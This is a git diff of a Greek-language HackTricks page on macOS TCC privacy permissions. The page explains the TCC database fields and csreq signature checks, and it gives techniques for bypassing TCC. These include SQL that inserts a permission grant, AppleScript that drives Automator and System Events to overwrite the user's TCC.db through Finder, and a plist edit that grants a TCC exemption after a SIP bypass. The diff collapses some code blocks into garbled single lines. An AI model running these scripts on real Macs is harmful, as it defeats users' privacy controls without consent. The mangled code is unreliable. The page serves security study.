<summary>Πώς να εκτελέσετε αν είναι απόλυτη διαδρομή</summary>
|
||||||
|
|
||||||
Απλά κάντε **`launctl load you_bin.plist`**, με ένα plist όπως:
|
Απλά κάντε **`launctl load you_bin.plist`**, με ένα plist όπως:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -171,11 +174,13 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
* Η τιμή **`auth_value`** μπορεί να έχει διαφορετικές τιμές: denied(0), unknown(1), allowed(2), ή limited(3).
|
* Η τιμή **`auth_value`** μπορεί να έχει διαφορετικές τιμές: denied(0), unknown(1), allowed(2), ή limited(3).
|
||||||
* Το πεδίο **`auth_reason`** μπορεί να πάρει τις ακόλουθες τιμές: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
* Το πεδίο **`auth_reason`** μπορεί να πάρει τις ακόλουθες τιμές: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||||
* Το πεδίο **csreq** υπάρχει για να υποδείξει πώς να επαληθευτεί το δυαδικό αρχείο που θα εκτελεστεί και να χορηγηθούν οι άδειες TCC:
|
* Το πεδίο **csreq** υπάρχει για να υποδείξει πώς να επαληθευτεί το δυαδικό αρχείο που θα εκτελεστεί και να χορηγηθούν οι άδειες TCC:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Query to get cserq in printable hex
|
# Query to get cserq in printable hex
|
||||||
select service, client, hex(csreq) from access where auth_value=2;
|
select service, client, hex(csreq) from access where auth_value=2;
|
||||||
|
@ -191,6 +196,7 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
||||||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||||
echo "X'$REQ_HEX'"
|
echo "X'$REQ_HEX'"
|
||||||
```
|
```
|
||||||
|
|
||||||
* Για περισσότερες πληροφορίες σχετικά με τα **άλλα πεδία** του πίνακα [**ελέγξτε αυτήν την ανάρτηση στο blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
* Για περισσότερες πληροφορίες σχετικά με τα **άλλα πεδία** του πίνακα [**ελέγξτε αυτήν την ανάρτηση στο blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||||
|
|
||||||
Μπορείτε επίσης να ελέγξετε τις **άδειες που έχουν δοθεί ήδη** σε εφαρμογές στο `Προτιμήσεις Συστήματος --> Ασφάλεια & Απορρήτου --> Απορρήτου --> Αρχεία και Φάκελοι`.
|
Μπορείτε επίσης να ελέγξετε τις **άδειες που έχουν δοθεί ήδη** σε εφαρμογές στο `Προτιμήσεις Συστήματος --> Ασφάλεια & Απορρήτου --> Απορρήτου --> Αρχεία και Φάκελοι`.
|
||||||
|
@ -200,6 +206,7 @@ echo "X'$REQ_HEX'"
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### Επαναφορά δικαιωμάτων TCC
|
#### Επαναφορά δικαιωμάτων TCC
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# You can reset all the permissions given to an application with
|
# You can reset all the permissions given to an application with
|
||||||
tccutil reset All app.some.id
|
tccutil reset All app.some.id
|
||||||
|
@ -207,9 +214,11 @@ tccutil reset All app.some.id
|
||||||
# Reset the permissions granted to all apps
|
# Reset the permissions granted to all apps
|
||||||
tccutil reset All
|
tccutil reset All
|
||||||
```
|
```
|
||||||
|
|
||||||
### TCC Έλεγχοι Υπογραφής
|
### TCC Έλεγχοι Υπογραφής
|
||||||
|
|
||||||
Η **βάση δεδομένων** του TCC αποθηκεύει το **Bundle ID** της εφαρμογής, αλλά αποθηκεύει επίσης **πληροφορίες** σχετικά με τη **υπογραφή** για να **διασφαλίσει** ότι η εφαρμογή που ζητάει την άδεια χρήσης είναι η σωστή.
|
Η **βάση δεδομένων** του TCC αποθηκεύει το **Bundle ID** της εφαρμογής, αλλά αποθηκεύει επίσης **πληροφορίες** σχετικά με τη **υπογραφή** για να **διασφαλίσει** ότι η εφαρμογή που ζητάει την άδεια χρήσης είναι η σωστή.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# From sqlite
|
# From sqlite
|
||||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||||
|
@ -221,7 +230,6 @@ echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E00000000000
|
||||||
csreq -t -r /tmp/telegram_csreq.bin
|
csreq -t -r /tmp/telegram_csreq.bin
|
||||||
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
|
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Συνεπώς, άλλες εφαρμογές που χρησιμοποιούν το ίδιο όνομα και το αναγνωριστικό δέσμης (bundle ID) δεν θα μπορέσουν να έχουν πρόσβαση στις δικαιώματα που έχουν δοθεί σε άλλες εφαρμογές.
|
Συνεπώς, άλλες εφαρμογές που χρησιμοποιούν το ίδιο όνομα και το αναγνωριστικό δέσμης (bundle ID) δεν θα μπορέσουν να έχουν πρόσβαση στις δικαιώματα που έχουν δοθεί σε άλλες εφαρμογές.
|
||||||
|
@ -235,6 +243,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||||
Ωστόσο, για τις εφαρμογές να **έχουν πρόσβαση** σε **συγκεκριμένους φακέλους χρήστη**, όπως `~/Desktop`, `~/Downloads` και `~/Documents`, **δεν χρειάζεται** να έχουν κάποια συγκεκριμένα **δικαιώματα.** Το σύστημα θα χειριστεί διαφανώς την πρόσβαση και θα **ζητήσει την έγκριση του χρήστη** όπως απαιτείται.
|
Ωστόσο, για τις εφαρμογές να **έχουν πρόσβαση** σε **συγκεκριμένους φακέλους χρήστη**, όπως `~/Desktop`, `~/Downloads` και `~/Documents`, **δεν χρειάζεται** να έχουν κάποια συγκεκριμένα **δικαιώματα.** Το σύστημα θα χειριστεί διαφανώς την πρόσβαση και θα **ζητήσει την έγκριση του χρήστη** όπως απαιτείται.
|
||||||
|
|
||||||
Οι εφαρμογές της Apple **δεν θα παράγουν παράθυρα ενημέρωσης**. Περιέχουν **προκαθορισμένα δικαιώματα** στη λίστα των **δικαιωμάτων τους**, που σημαίνει ότι **ποτέ δεν θα δημιουργήσουν ένα αναδυόμενο παράθυρο**, **ούτε** θα εμφανιστούν σε κάποια από τις **βάσεις δεδομένων TCC.** Για παράδειγμα:
|
Οι εφαρμογές της Apple **δεν θα παράγουν παράθυρα ενημέρωσης**. Περιέχουν **προκαθορισμένα δικαιώματα** στη λίστα των **δικαιωμάτων τους**, που σημαίνει ότι **ποτέ δεν θα δημιουργήσουν ένα αναδυόμενο παράθυρο**, **ούτε** θα εμφανιστούν σε κάποια από τις **βάσεις δεδομένων TCC.** Για παράδειγμα:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
[...]
|
[...]
|
||||||
|
@ -245,6 +254,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
<string>kTCCServiceAddressBook</string>
|
<string>kTCCServiceAddressBook</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
|
|
||||||
Αυτό θα αποτρέψει το Ημερολόγιο να ζητήσει από τον χρήστη πρόσβαση σε υπενθυμίσεις, ημερολόγιο και βιβλίο διευθύνσεων.
|
Αυτό θα αποτρέψει το Ημερολόγιο να ζητήσει από τον χρήστη πρόσβαση σε υπενθυμίσεις, ημερολόγιο και βιβλίο διευθύνσεων.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
|
@ -262,6 +272,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
### Πρόθεση Χρήστη / com.apple.macl
|
### Πρόθεση Χρήστη / com.apple.macl
|
||||||
|
|
||||||
Όπως αναφέρθηκε προηγουμένως, είναι δυνατόν να **χορηγήσετε πρόσβαση σε μια εφαρμογή για ένα αρχείο σύροντάς το πάνω της**. Αυτή η πρόσβαση δεν θα καθορίζεται σε καμία βάση δεδομένων TCC αλλά ως **επεκταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής:
|
Όπως αναφέρθηκε προηγουμένως, είναι δυνατόν να **χορηγήσετε πρόσβαση σε μια εφαρμογή για ένα αρχείο σύροντάς το πάνω της**. Αυτή η πρόσβαση δεν θα καθορίζεται σε καμία βάση δεδομένων TCC αλλά ως **επεκταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
xattr Desktop/private.txt
|
xattr Desktop/private.txt
|
||||||
com.apple.macl
|
com.apple.macl
|
||||||
|
@ -276,6 +287,7 @@ Filename,Header,App UUID
|
||||||
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
||||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Είναι περίεργο ότι το χαρακτηριστικό **`com.apple.macl`** διαχειρίζεται από το **Sandbox**, όχι από το tccd.
|
Είναι περίεργο ότι το χαρακτηριστικό **`com.apple.macl`** διαχειρίζεται από το **Sandbox**, όχι από το tccd.
|
||||||
|
|
||||||
|
@ -293,45 +305,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Παράδειγμα Εισαγωγής στο TCC</summary>
|
<summary>Παράδειγμα Εισαγωγής στο TCC</summary>
|
||||||
```sql
|
|
||||||
INSERT INTO access (
|
\`\`\`sql INSERT INTO access ( service, client, client\_type, auth\_value, auth\_reason, auth\_version, csreq, policy\_id, indirect\_object\_identifier\_type, indirect\_object\_identifier, indirect\_object\_code\_identity, flags, last\_modified, pid, pid\_version, boot\_uuid, last\_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client\_type (0 - bundle id) 2, -- auth\_value (2 - allowed) 3, -- auth\_reason (3 - "User Set") 1, -- auth\_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy\_id NULL, -- indirect\_object\_identifier\_type 'UNUSED', -- indirect\_object\_identifier - default value NULL, -- indirect\_object\_code\_identity 0, -- flags strftime('%s', 'now'), -- last\_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid\_version is an integer and optional 'UNUSED', -- default value for boot\_uuid strftime('%s', 'now') -- last\_reminded with default current timestamp ); \`\`\`
|
||||||
service,
|
|
||||||
client,
|
|
||||||
client_type,
|
|
||||||
auth_value,
|
|
||||||
auth_reason,
|
|
||||||
auth_version,
|
|
||||||
csreq,
|
|
||||||
policy_id,
|
|
||||||
indirect_object_identifier_type,
|
|
||||||
indirect_object_identifier,
|
|
||||||
indirect_object_code_identity,
|
|
||||||
flags,
|
|
||||||
last_modified,
|
|
||||||
pid,
|
|
||||||
pid_version,
|
|
||||||
boot_uuid,
|
|
||||||
last_reminded
|
|
||||||
) VALUES (
|
|
||||||
'kTCCServiceSystemPolicyDesktopFolder', -- service
|
|
||||||
'com.googlecode.iterm2', -- client
|
|
||||||
0, -- client_type (0 - bundle id)
|
|
||||||
2, -- auth_value (2 - allowed)
|
|
||||||
3, -- auth_reason (3 - "User Set")
|
|
||||||
1, -- auth_version (always 1)
|
|
||||||
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
|
|
||||||
NULL, -- policy_id
|
|
||||||
NULL, -- indirect_object_identifier_type
|
|
||||||
'UNUSED', -- indirect_object_identifier - default value
|
|
||||||
NULL, -- indirect_object_code_identity
|
|
||||||
0, -- flags
|
|
||||||
strftime('%s', 'now'), -- last_modified with default current timestamp
|
|
||||||
NULL, -- assuming pid is an integer and optional
|
|
||||||
NULL, -- assuming pid_version is an integer and optional
|
|
||||||
'UNUSED', -- default value for boot_uuid
|
|
||||||
strftime('%s', 'now') -- last_reminded with default current timestamp
|
|
||||||
);
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### TCC Payloads
|
### TCC Payloads
|
||||||
|
@ -397,25 +373,14 @@ EOD
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Λάβετε ένα κέλυφος μέσα στο Automator</summary>
|
<summary>Λάβετε ένα κέλυφος μέσα στο Automator</summary>
|
||||||
```applescript
|
|
||||||
osascript<<EOD
|
|
||||||
set theScript to "touch /tmp/something"
|
|
||||||
|
|
||||||
tell application "Automator"
|
\`\`\`applescript osascript<
|
||||||
set actionID to Automator action id "com.apple.RunShellScript"
|
|
||||||
tell (make new workflow)
|
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND\_STRING" to theScript end tell execute it end tell activate end tell EOD
|
||||||
add actionID to it
|
|
||||||
tell last Automator action
|
## Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||||
set value of setting "inputMethod" to 1
|
|
||||||
set value of setting "COMMAND_STRING" to theScript
|
````
|
||||||
end tell
|
|
||||||
execute it
|
|
||||||
end tell
|
|
||||||
activate
|
|
||||||
end tell
|
|
||||||
EOD
|
|
||||||
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Το ίδιο συμβαίνει και με την εφαρμογή **Script Editor,** μπορεί να ελέγχει το Finder, αλλά χρησιμοποιώντας ένα AppleScript δεν μπορείτε να το αναγκάσετε να εκτελέσει ένα σενάριο.
|
Το ίδιο συμβαίνει και με την εφαρμογή **Script Editor,** μπορεί να ελέγχει το Finder, αλλά χρησιμοποιώντας ένα AppleScript δεν μπορείτε να το αναγκάσετε να εκτελέσει ένα σενάριο.
|
||||||
|
@ -463,12 +428,14 @@ EOD
|
||||||
# File operations in the folder should trigger the Folder Action
|
# File operations in the folder should trigger the Folder Action
|
||||||
touch "$HOME/Desktop/file"
|
touch "$HOME/Desktop/file"
|
||||||
rm "$HOME/Desktop/file"
|
rm "$HOME/Desktop/file"
|
||||||
```
|
````
|
||||||
### Αυτοματισμός (SE) + Προσβασιμότητα (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** στο FDA\*
|
|
||||||
|
#### Αυτοματισμός (SE) + Προσβασιμότητα (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** στο FDA\*
|
||||||
|
|
||||||
Ο Αυτοματισμός στο **`System Events`** + Προσβασιμότητα (**`kTCCServicePostEvent`**) επιτρέπει την αποστολή **πληκτρολογίων σε διεργασίες**. Με αυτόν τον τρόπο μπορείτε να καταχραστείτε το Finder για να αλλάξετε τη βάση δεδομένων TCC των χρηστών ή να δώσετε FDA σε οποιαδήποτε εφαρμογή (αν και μπορεί να ζητηθεί κωδικός πρόσβασης γι' αυτό).
|
Ο Αυτοματισμός στο **`System Events`** + Προσβασιμότητα (**`kTCCServicePostEvent`**) επιτρέπει την αποστολή **πληκτρολογίων σε διεργασίες**. Με αυτόν τον τρόπο μπορείτε να καταχραστείτε το Finder για να αλλάξετε τη βάση δεδομένων TCC των χρηστών ή να δώσετε FDA σε οποιαδήποτε εφαρμογή (αν και μπορεί να ζητηθεί κωδικός πρόσβασης γι' αυτό).
|
||||||
|
|
||||||
Παράδειγμα αντικατάστασης του Finder με τη βάση δεδομένων TCC των χρηστών:
|
Παράδειγμα αντικατάστασης του Finder με τη βάση δεδομένων TCC των χρηστών:
|
||||||
|
|
||||||
```applescript
|
```applescript
|
||||||
-- store the TCC.db file to copy in /tmp
|
-- store the TCC.db file to copy in /tmp
|
||||||
osascript <<EOF
|
osascript <<EOF
|
||||||
|
@ -514,31 +481,32 @@ keystroke "v" using {command down}
|
||||||
end tell
|
end tell
|
||||||
EOF
|
EOF
|
||||||
```
|
```
|
||||||
### `kTCCServiceAccessibility` σε FDA\*
|
|
||||||
|
#### `kTCCServiceAccessibility` σε FDA\*
|
||||||
|
|
||||||
Ελέγξτε αυτήν τη σελίδα για μερικά [**payloads για κατάχρηση των δικαιωμάτων πρόσβασης**](macos-tcc-payloads.md#accessibility) για προώθηση προνομίων σε FDA\* ή για την εκτέλεση ενός keylogger για παράδειγμα.
|
Ελέγξτε αυτήν τη σελίδα για μερικά [**payloads για κατάχρηση των δικαιωμάτων πρόσβασης**](macos-tcc-payloads.md#accessibility) για προώθηση προνομίων σε FDA\* ή για την εκτέλεση ενός keylogger για παράδειγμα.
|
||||||
|
|
||||||
### **Πελάτης Ασφάλειας Σημείου Πρόσβασης σε FDA**
|
#### **Πελάτης Ασφάλειας Σημείου Πρόσβασης σε FDA**
|
||||||
|
|
||||||
Αν έχετε **`kTCCServiceEndpointSecurityClient`**, έχετε FDA. Τέλος.
|
Αν έχετε **`kTCCServiceEndpointSecurityClient`**, έχετε FDA. Τέλος.
|
||||||
|
|
||||||
### Αρχείο Συστήματος Πολιτικής Διαχειριστή Αρχείων σε FDA
|
#### Αρχείο Συστήματος Πολιτικής Διαχειριστή Αρχείων σε FDA
|
||||||
|
|
||||||
Το **`kTCCServiceSystemPolicySysAdminFiles`** επιτρέπει τη **τροποποίηση** του χαρακτηριστικού **`NFSHomeDirectory`** ενός χρήστη που αλλάζει τον φάκελο του αρχικού φακέλου και επομένως επιτρέπει τη **παράκαμψη του TCC**.
|
Το **`kTCCServiceSystemPolicySysAdminFiles`** επιτρέπει τη **τροποποίηση** του χαρακτηριστικού **`NFSHomeDirectory`** ενός χρήστη που αλλάζει τον φάκελο του αρχικού φακέλου και επομένως επιτρέπει τη **παράκαμψη του TCC**.
|
||||||
|
|
||||||
### Βάση Δεδομένων TCC Χρήστη σε FDA
|
#### Βάση Δεδομένων TCC Χρήστη σε FDA
|
||||||
|
|
||||||
Λαμβάνοντας **δικαιώματα εγγραφής** στη **βάση δεδομένων TCC** του χρήστη δεν μπορείτε να χορηγήσετε στον εαυτό σας δικαιώματα **`FDA`**, μόνο αυτός που βρίσκεται στη βάση δεδομένων του συστήματος μπορεί να το κάνει.
|
Λαμβάνοντας **δικαιώματα εγγραφής** στη **βάση δεδομένων TCC** του χρήστη δεν μπορείτε να χορηγήσετε στον εαυτό σας δικαιώματα **`FDA`**, μόνο αυτός που βρίσκεται στη βάση δεδομένων του συστήματος μπορεί να το κάνει.
|
||||||
|
|
||||||
Ωστόσο, μπορείτε να δώσετε στον εαυτό σας **`Δικαιώματα Αυτοματισμού στο Finder`**, και να καταχραστείτε την προηγούμενη τεχνική για προώθηση σε FDA\*.
|
Ωστόσο, μπορείτε να δώσετε στον εαυτό σας **`Δικαιώματα Αυτοματισμού στο Finder`**, και να καταχραστείτε την προηγούμενη τεχνική για προώθηση σε FDA\*.
|
||||||
|
|
||||||
### **FDA σε δικαιώματα TCC**
|
#### **FDA σε δικαιώματα TCC**
|
||||||
|
|
||||||
Η πρόσβαση **Πλήρους Δίσκου** στο TCC ονομάζεται **`kTCCServiceSystemPolicyAllFiles`**
|
Η πρόσβαση **Πλήρους Δίσκου** στο TCC ονομάζεται **`kTCCServiceSystemPolicyAllFiles`**
|
||||||
|
|
||||||
Δεν νομίζω ότι αυτή είναι μια πραγματική προώθηση προνομίων, αλλά για να είμαστε σίγουροι: Αν ελέγχετε ένα πρόγραμμα με FDA μπορείτε να **τροποποιήσετε τη βάση δεδομένων των χρηστών TCC και να δώσετε στον εαυτό σας οποιαδήποτε πρόσβαση**. Αυτό μπορεί να είναι χρήσιμο ως τεχνική διατήρησης σε περίπτωση που χάσετε τα δικαιώματά σας FDA.
|
Δεν νομίζω ότι αυτή είναι μια πραγματική προώθηση προνομίων, αλλά για να είμαστε σίγουροι: Αν ελέγχετε ένα πρόγραμμα με FDA μπορείτε να **τροποποιήσετε τη βάση δεδομένων των χρηστών TCC και να δώσετε στον εαυτό σας οποιαδήποτε πρόσβαση**. Αυτό μπορεί να είναι χρήσιμο ως τεχνική διατήρησης σε περίπτωση που χάσετε τα δικαιώματά σας FDA.
|
||||||
|
|
||||||
### **Παράκαμψη SIP σε Παράκαμψη TCC**
|
#### **Παράκαμψη SIP σε Παράκαμψη TCC**
|
||||||
|
|
||||||
Η βάση δεδομένων TCC του συστήματος προστατεύεται από το **SIP**, γι' αυτό μόνο διεργασίες με τα **συγκεκριμένα δικαιώματα** θα μπορούν να την τροποποιήσουν. Επομένως, αν ένας επιτιθέμενος βρει μια **παράκαμψη SIP** πάνω σε ένα **αρχείο** (να μπορεί να το τροποποιήσει παρά το SIP), θα μπορεί:
|
Η βάση δεδομένων TCC του συστήματος προστατεύεται από το **SIP**, γι' αυτό μόνο διεργασίες με τα **συγκεκριμένα δικαιώματα** θα μπορούν να την τροποποιήσουν. Επομένως, αν ένας επιτιθέμενος βρει μια **παράκαμψη SIP** πάνω σε ένα **αρχείο** (να μπορεί να το τροποποιήσει παρά το SIP), θα μπορεί:
|
||||||
|
|
||||||
|
@ -549,13 +517,16 @@ EOF
|
||||||
|
|
||||||
Ωστόσο, υπάρχει μια άλλη επιλογή για να καταχραστεί αυτήν τη **παράκαμψη SIP για παράκαμψη TCC**, το αρχείο `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` είναι μια λίστα εφαρμογών που απαιτούν μια εξαίρεση TCC. Επομένως, αν ένας επιτιθέμενος μπορεί να **αφαιρέσει την προστασία SIP** από αυτό το αρχείο και να προσθέσει την **δική του εφαρμογή**, η εφαρμογή θα μπορεί να παρακάμψει το TCC.\
|
Ωστόσο, υπάρχει μια άλλη επιλογή για να καταχραστεί αυτήν τη **παράκαμψη SIP για παράκαμψη TCC**, το αρχείο `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` είναι μια λίστα εφαρμογών που απαιτούν μια εξαίρεση TCC. Επομένως, αν ένας επιτιθέμενος μπορεί να **αφαιρέσει την προστασία SIP** από αυτό το αρχείο και να προσθέσει την **δική του εφαρμογή**, η εφαρμογή θα μπορεί να παρακάμψει το TCC.\
|
||||||
Για παράδειγμα για να προσθέσετε το terminal:
|
Για παράδειγμα για να προσθέσετε το terminal:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get needed info
|
# Get needed info
|
||||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||||
```
|
```
|
||||||
|
|
||||||
```plaintext
|
```plaintext
|
||||||
Αρχείο AllowApplicationsList.plist:
|
Αρχείο AllowApplicationsList.plist:
|
||||||
```
|
```
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -578,29 +549,14 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
### TCC Παρακάμψεις
|
|
||||||
|
|
||||||
{% content-ref url="macos-tcc-bypasses/" %}
|
#### TCC Παρακάμψεις
|
||||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
|
||||||
{% endcontent-ref %}
|
|
||||||
|
|
||||||
## Αναφορές
|
### Αναφορές
|
||||||
|
|
||||||
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
|
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
|
||||||
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
|
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
|
||||||
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
|
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
|
||||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
|
||||||
|
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS TCC Παρακάμψεις
|
# macOS TCC Bypasses
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -19,6 +19,7 @@
|
||||||
